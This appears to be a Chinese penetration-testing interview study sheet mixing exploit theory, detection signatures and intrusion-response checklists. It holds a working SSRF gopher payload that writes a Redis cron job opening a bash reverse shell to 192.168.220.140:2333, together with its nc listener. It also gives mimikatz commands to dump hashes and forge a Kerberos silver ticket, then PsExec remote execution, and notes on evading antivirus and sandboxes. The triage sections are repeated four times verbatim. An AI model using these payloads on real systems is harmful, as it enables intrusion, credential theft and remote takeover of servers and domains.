来源:芸云虾扯蛋
fastjson不出网利用
fastjson≤1.2.24
条件:BasicDataSource只需要有dbcp或tomcat-dbcp的依赖即可,dbcp即数据库连接池,在java中用于管理数据库连接,还是挺常见的。
安全加固
4. 操作系统加固
1. 配置加固
2. 应用程序加固
3. 软件加固
5. 服务器加固
邮箱定位画像
1:最好的反击方式当然是渗透拿下对方的钓鱼网站,删除收信箱子。并且反钓鱼,
收集对方各种信息指纹等。但是鉴于对方这些域名已经无法访问,那么此方式略过;
2:封掉这些域名。域名注册机构为西部数码,官网西部数码-15年老牌云服务器、虚拟主机、
域名注册服务商!你可以整理一下证据,像西部反映一下。或者去相关网站举报这些网站。
sql注入dnslog外带
利用UNC路径去访问服务器,dns会有日志,通过子查询,将内容拼接到域名内,
利用MYSQL内置函数load_file()去访问共享文件,访问的域名被记录,此时变为显错注入
,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,
访问时将访问服务器,记录后查看日志。
注:load_file函数在Linux下是无法用来做dnslog攻击的,涉及到Windows中的UNC路径。(linux中不存在UNC路径)
sql注入堆叠
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句
select * from users;show databases;
就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,
又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,
利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,
往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行
,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
如何防御sql注入
base64编码、url编码、双url编码、宽字节、使用/**/分割sql关键字、替换空格为xx
如何防御sql注入漏洞
1、在代码层面使用过滤函数正则表达式等对传入的参数进行一个过滤、检测、处理,使得传入的恶意数据无法按照预想方式执行
2、预编译sql语句
3、使用waf,安全狗,阿里云盾等waf进行防护
4、经常进行基线检查、漏洞扫描等工作
sql写shell条件/sqlmap写shell
条件:
1、sql写shell可以用到两个函数outfile和dumpfile可用(select into outfile不可写入二进制可执行文件,select into dumpfile 可写入二进制可执行文件)
2、关闭安全模式(需要数据库允许导出文件也就是secure_file_priv参数配置为空或者是目录地址,设置为NULL的时3、候不允许导出文件)
4、需要足够的权限
5、需要知道网站的绝对路径
6、GPC关闭可使用单引号
sqlmap –os-shell:
对于mysql数据库来说,–os-shell的本质就是写入两个php文件,其中tmpugvzq.php可以让我们上传文件到网站下,让我们命令执行,并将输出的内容返回sqlmap端,另一个返回课以让我们执行系统命令的命令行;简单的说就是先传小马再传自己的大马。
序列化反序列化及其流量特征
序列化:对象转换为字符串
反序列化:字符串转换为对象
流量特征:
shiro反序列化:查看cookie中rememberme字段,恶意命令要从这里传入。判断是否有漏洞,查看返回包set cookie:rememberme=deleteme,验证失败返回的标识符。
fastjson反序列化:请求报文中查找json格式的数据,重点看有无rmi或者出网的一些行为
st2-045:请求头中的Content-Type字段
流量分析
拿到流量包后将其导入wireshark中,使用过滤规则对流量包进行分析,常用的过滤规则有:
http contains “关键字”
http.response.code == 200
http.request.method == POST
tcp.prot == 80
ip.addr == “10.1.1.1”
ip.src
ip.dst
天眼基本搜索语法
sip:”10.1.1.1″ AND dip:”10.1.1.2″ AND status:(200)
#10.1.1.1访问服务器10.1.1.2状态码为200的流量日志
dport:”443″ OR dport:”8080
#访问端口是443或者8080的流量日志
dport:”80″ NOT host:”www.example.com”
#访问端口为80,排除访问www.example.com域名的流量日志
dip:”10.1.1.2″ AND client_os:”windows7″
#服务器ip为10.1.1.2,操作系统为windows7的流量日志
处置方案:
传感器上出现sql注入告警后
1、验证此条sql注入告警是否真的存在sql注入漏洞
2、通过请求数据包判断触发告警的行为是客户自身还是攻击行为
3、若为自身业务问题,则将漏洞点相关整合成报告反馈客户
4若为攻击者行为,需要进一步分析,查看分析平台攻击ip除了sql注入外是否有其他攻击行为,攻击的结果如何
5、将发现时间及攻击行为反馈给护网客户
传感器上出现RCE告警
1、验证此条警告师傅真的成功(若成功直接出报告)
2、若失败,判断攻击者是手工还是工具批量扫描行为
3、进入分析平台进一步分析,查看分析平台攻击ip除了rce是否有其他攻击行为,攻击结果如何
4、将发现时间及攻击行为反馈给护网
ssrf利用ridis打内网
方法二:通过【curl命令】和【gopher协议】远程攻击内网redis
gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。
gopher协议可配合linux下的curl命令伪造POST请求包发给内网主机。
此种方法能攻击成功的前提条件是:redis是以root权限运行的。
payload2如下:
curl -v ‘http://xxx.xxx.xx.xx/xx.php?url=
gopher://172.21.0.2:6379/
_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a’
redis命令进行了两次url编码,这里是通过gopher协议伪造的请求包用curl命令来发送;
payload采用的是bash反弹,定时程序路径是/var/spool/cron/root
发送请求之前在公网机192.168.220.140开启nc监听端口2333
nc -lvp 2333 (或nc -l 2333)
流量
冰蝎 2.0 强特征是 accept 里面有个 q=.2
冰蝎 3.0 Content-Type: application/octet-stream
冰蝎 4.0 ua头 referer头 accept 默认aes128 秘闻长度16整数倍
蚁剑是 ua 有 answord 蚁剑的加密特征是以 “0x…..=”开头
哥斯拉 pass 字段
菜刀流量存在一些特征字 eval base64
AWVS 扫描器的特征 :主要是看请求包中是否含有 acunetix wvs 字段
Nessus 扫描器的特征:nessus 字段
java漏洞
shiro(Apache Shiro框架提供了记住我(RememberMe)的功能,关闭浏览器再次访问时无需再登录即可访问。
shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,
在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、
AES加密、Base64编码操作。服务器端识别身份解密处理cookie的流程则是:
获取rememberMe cookie ->base64 解码->AES解密(加密密钥硬编码)->反序列化(未作过滤处理)。
但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。
因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。
Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密钥泄露,
无论shiro是什么版本都可能会导致该漏洞的产生.硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。
如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。
————————————————
)
shrio550和721的区别
主要区别在于Shiro550使用已知默认密码,只要有足够的密码,不需要Remember Cookie的
Shiro721的ase加密的key为系统随机生成,需要利用登录后的rememberMe去爆破正确的key值。
利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,再去构造反序列化攻击。
fastjson(4.fastjson反序列化漏洞原理
使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,
在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,
并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,
只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。
常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,
其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!
)(@tamp)
weblogic
(Weblogic的WLS Security组件对外提供webservice服务,
其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,
导致可执行任意命令。
1.3漏洞利用
访问 /wls-wsat/CoordinatorPortType,返回如下页面,则可能存在此漏洞。)
log4j(log4j2框架下的lookup查询服务提供了{}字段解析功能,
传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。
这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务
(可能是攻击者部署好的恶意代码)。
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,
在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,
造成了远程代码执行(可反弹shell到指定服务器)。)(流量jnd${log4j:123}i)
**Linux 入侵排查思路**
第一步:分析安全日志 /var/log/secure 查看是否有 IP 爆破成功->
第二步:查看/etc/passwd 分析是否存在攻击者创建的恶意用户->
第三步:查看命令执行记录 ~/.bash_history 分析近期是否有账户执行过恶意操作系统命令->
第四步:分析/var/spool/mail/root Root 邮箱,当日志被删除可查询本文件->
第五步:分析中间件、Web 日志,如 access_log 文件->
第六步:调用命令 last/lastb 翻阅登录日志->
第七步:分析/var/log/cron 文件查看历史计划任务,
第八步->分析 history 日志分析操作命令记录->
最后一步:分析 redis、sql server、mysql、oracle 等日志文件
**Windows 入侵排查思路**
第一步:检查系统账号安全(查看服务器是否有弱口令,Netstat 查看网络连接对应的进程,再通
过 tasklist 进行进程定位)->
第二步:查看系统登录日志,筛查 4776、4624(登录成功)事件进行分析->
第三步:使用命令 lusrmgr.msc 查看服务器是否存在可疑账号、新增账户->
第四步:使用 compmgmt.msc 查看本地用户组有没有隐藏账户->
第五步:导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常->
第六步:运行 taskschd.msc 排查有无可疑的计划任务->
第七步:输入%UserProfile%\Recent 分析最近打开过的可疑文件->
第八步:分析中间件日志,如 tomcat 的 logs 文件夹 localhost_access_log 日志文件 Appace 的
access.log 日志文件。
**Linux 入侵排查思路**
第一步:分析安全日志 /var/log/secure 查看是否有 IP 爆破成功->
第二步:查看/etc/passwd 分析是否存在攻击者创建的恶意用户->
第三步:查看命令执行记录 ~/.bash_history 分析近期是否有账户执行过恶意操作系统命令->
第四步:分析/var/spool/mail/root Root 邮箱,当日志被删除可查询本文件->
第五步:分析中间件、Web 日志,如 access_log 文件->
第六步:调用命令 last/lastb 翻阅登录日志->
第七步:分析/var/log/cron 文件查看历史计划任务,
第八步->分析 history 日志分析操作命令记录->
最后一步:分析 redis、sql server、mysql、oracle 等日志文件
**Windows 入侵排查思路**
第一步:检查系统账号安全(查看服务器是否有弱口令,Netstat 查看网络连接对应的进程,再通
过 tasklist 进行进程定位)->
第二步:查看系统登录日志,筛查 4776、4624(登录成功)事件进行分析->
第三步:使用命令 lusrmgr.msc 查看服务器是否存在可疑账号、新增账户->
第四步:使用 compmgmt.msc 查看本地用户组有没有隐藏账户->
第五步:导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常->
第六步:运行 taskschd.msc 排查有无可疑的计划任务->
第七步:输入%UserProfile%\Recent 分析最近打开过的可疑文件->
第八步:分析中间件日志,如 tomcat 的 logs 文件夹 localhost_access_log 日志文件 Appace 的
access.log 日志文件。
**Linux 入侵排查思路**
第一步:分析安全日志 /var/log/secure 查看是否有 IP 爆破成功->
第二步:查看/etc/passwd 分析是否存在攻击者创建的恶意用户->
第三步:查看命令执行记录 ~/.bash_history 分析近期是否有账户执行过恶意操作系统命令->
第四步:分析/var/spool/mail/root Root 邮箱,当日志被删除可查询本文件->
第五步:分析中间件、Web 日志,如 access_log 文件->
第六步:调用命令 last/lastb 翻阅登录日志->
第七步:分析/var/log/cron 文件查看历史计划任务,
第八步->分析 history 日志分析操作命令记录->
最后一步:分析 redis、sql server、mysql、oracle 等日志文件
**Windows 入侵排查思路**
第一步:检查系统账号安全(查看服务器是否有弱口令,Netstat 查看网络连接对应的进程,再通
过 tasklist 进行进程定位)->
第二步:查看系统登录日志,筛查 4776、4624(登录成功)事件进行分析->
第三步:使用命令 lusrmgr.msc 查看服务器是否存在可疑账号、新增账户->
第四步:使用 compmgmt.msc 查看本地用户组有没有隐藏账户->
第五步:导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常->
第六步:运行 taskschd.msc 排查有无可疑的计划任务->
第七步:输入%UserProfile%\Recent 分析最近打开过的可疑文件->
第八步:分析中间件日志,如 tomcat 的 logs 文件夹 localhost_access_log 日志文件 Appace 的
access.log 日志文件。
**Linux 入侵排查思路**
第一步:分析安全日志 /var/log/secure 查看是否有 IP 爆破成功->
第二步:查看/etc/passwd 分析是否存在攻击者创建的恶意用户->
第三步:查看命令执行记录 ~/.bash_history 分析近期是否有账户执行过恶意操作系统命令->
第四步:分析/var/spool/mail/root Root 邮箱,当日志被删除可查询本文件->
第五步:分析中间件、Web 日志,如 access_log 文件->
第六步:调用命令 last/lastb 翻阅登录日志->
第七步:分析/var/log/cron 文件查看历史计划任务,
第八步->分析 history 日志分析操作命令记录->
最后一步:分析 redis、sql server、mysql、oracle 等日志文件
**Windows 入侵排查思路**
第一步:检查系统账号安全(查看服务器是否有弱口令,Netstat 查看网络连接对应的进程,再通
过 tasklist 进行进程定位)->
第二步:查看系统登录日志,筛查 4776、4624(登录成功)事件进行分析->
第三步:使用命令 lusrmgr.msc 查看服务器是否存在可疑账号、新增账户->
第四步:使用 compmgmt.msc 查看本地用户组有没有隐藏账户->
第五步:导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常->
第六步:运行 taskschd.msc 排查有无可疑的计划任务->
第七步:输入%UserProfile%\Recent 分析最近打开过的可疑文件->
第八步:分析中间件日志,如 tomcat 的 logs 文件夹 localhost_access_log 日志文件 Appace 的
access.log 日志文件。
陆续推出青藤万相·主机自适应安全平台、青藤蜂巢·云原生安全平台、青藤猎鹰·威胁狩猎平台、
青藤雷火·AI-Webshell检测系统、青藤零域
制作白银票据 (上篇黄金票据已经截过图,主要使用用工具还是mimikatz和psexec)
制作白银票据的条件:
1.域名称
2.域的SID值
3.域的服务账户的密码HASH
4.伪造的用户名,可以是任意用户名,一般伪造administrator
5.需要访问的服务
第一步:
管理员权限运行
mimikatzprivilege::debug #提升权限
sekurlsa::logonpasswords #获取service账户hash 和sid(同一个域下得sid一样)
第二步:
清空本地票据缓存
kerberos::purge #清理本地票据缓存
kerberos::list #查看本地保存的票据
第三步:
伪造白银票据并导入
kerberos::golden /domain:superman.com /sid:S-1-5-21-259090122-541454442-2960687606 /target:win08.superman.com /rc4:f6f19db774c63e49e9af61346adff204 /service:cifs /user:administrator /ptt
第四步:
访问域控的共享目录
dir \\win08\c$
远程登陆,执行命令
PsExec.exe \\win08 cmd.exe
whoami #查看权限
黄金票据
1.域名称[AD PowerShell模块:(Get-ADDomain).DNSRoot]
2.域的SID 值[AD PowerShell模块:(Get-ADDomain).DomainSID.Value]
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名
weblogic原理
1.直接通过T3协议发送恶意反序列化对象(CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2020-2555、CVE-2020-2883)
2.利用T3协议配合RMP或ND接口反向发送反序列化数据(CVE2017-3248、CVE2018-2628、CVE2018-2893、CVE2018-3245、CVE-2018-3191、CVE-2020-14644、CVE-2020-14645)还有利用IIOP协议的CVE-2020-2551
3.通过 javabean XML方式发送反序列化数据。(CVE2017-3506->CVE-2017-10271->CVE2019-2725->CVE-2019-2729)
weblogic xml反序列化
原理:xml反序列化,这是wls security组件对外提供的webserver页面,通过xmlDecoder功能来解析用户的xml数据导致的任意字符串被当做代码去执行
特征:服务器开放7001端口 传递xml数到wls-wsat 数据包内容有bash或者dnslog字段。
stu2
stu2-045:
Struts2默认使用org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest 类对上传数据进行解析.JakartaMultiPartRequest类在处理Content-Type时如果获得非预期的值的话,将会抛出一个异常,对这个异常的处理会对错误信息进行OGNL表达式解析,从而造成了恶意代码执行
站库分离打法
对站库分离类型站点通常可以有两个渗透入口点。
web 网站
数据库
渗透思路其实也是比较常规。但是这里如果两个入口点无非两种路径。
从 web 网站打入进而打站库分离的数据库,内网渗透
从数据库打入进而打站库分离的 web 网站,内网渗透
Java内存马排查思路
内存马在语言类型上有PHP内存马,Python内存马,而本文主要侧重于“市场占有率”最高的java内存马的检测与查杀,java内存马又主要分为下面这三大类
servlet-api类
filter型
servlet型
listener型
spring类
拦截器
controller型
Java Instrumentation类
agent型
内存马特征的识别
检测工具(arthas,java-memshell-scanner)
ridis主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);
数据的复制是单向的,只能由主节点到从节点。
默认情况下,每台Redis服务器都是主节点,且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点。
403绕过
使用插件 X-Forwarded-For Header
使用BurpSuite
使用BurpSuite插件 BurpSuite_403Bypasser【推荐】
修改HOST
覆盖请求URL
Referer标头绕过
代理IP
扩展名绕过
免杀思路
特征码检测
对文件或内存中存在的特征做检测,一般的方法是做模糊哈希或者机器学习跑模型,优点是准确度高,缺点是对未知木马缺乏检测能力。所以目前依赖厂商的更新,厂商做的更新及时能有效提高杀软的防护水平。目前一些杀软对相似的病毒有一定的检测能力,猜测是基于模糊哈希做的。部分杀软同样对于加壳也有检测能力,对于不同的厂家有不同的策略,有些会对文件进行标记,而某数字会直接告警。
关联检测
检测的特征不仅仅是恶意payload的特征,也可能是一组关联的代码,把一组关联信息作为特征。比如在使用加载器加载shellcode时,需要开辟内存,将shellcode加载进内存,最后执行内存区域shellcode。这些步骤就被反病毒人员提取出来作为特征,在调用了一组开辟内存的函数比如virtualAlloc之后对该内存使用virtualProtect来更改标示位为可执行并且对该内存进行调用就会触发报毒。以上只是一个简单的例子,具体情况具体分析,部分厂商对其进行了扩展,所以现在使用另外几个函数进行调用也无法免杀。不过其本质还是黑名单,还存在没有被覆盖到的漏网之鱼。
行为检测
行为检测通过hook关键api,以及对各个高危的文件、组件做监控防止恶意程序对系统修改。只要恶意程序对注册表、启动项、系统文件等做操作就会触发告警。最后,行为检测也被应用到了沙箱做为动态检测,对于避免沙箱检测的办法有如下几个:
延时,部分沙箱存在运行时间限制
沙箱检测,对诸如硬盘容量、内存、虚拟机特征做检测
部分沙箱会对文件重命名,可以检测自身文件名是否被更改
面试过程中把面试官带入自己的节奏中
推荐了解以下领域
数据安全
企业安全建设
免杀思路
逆向
请登录后查看评论内容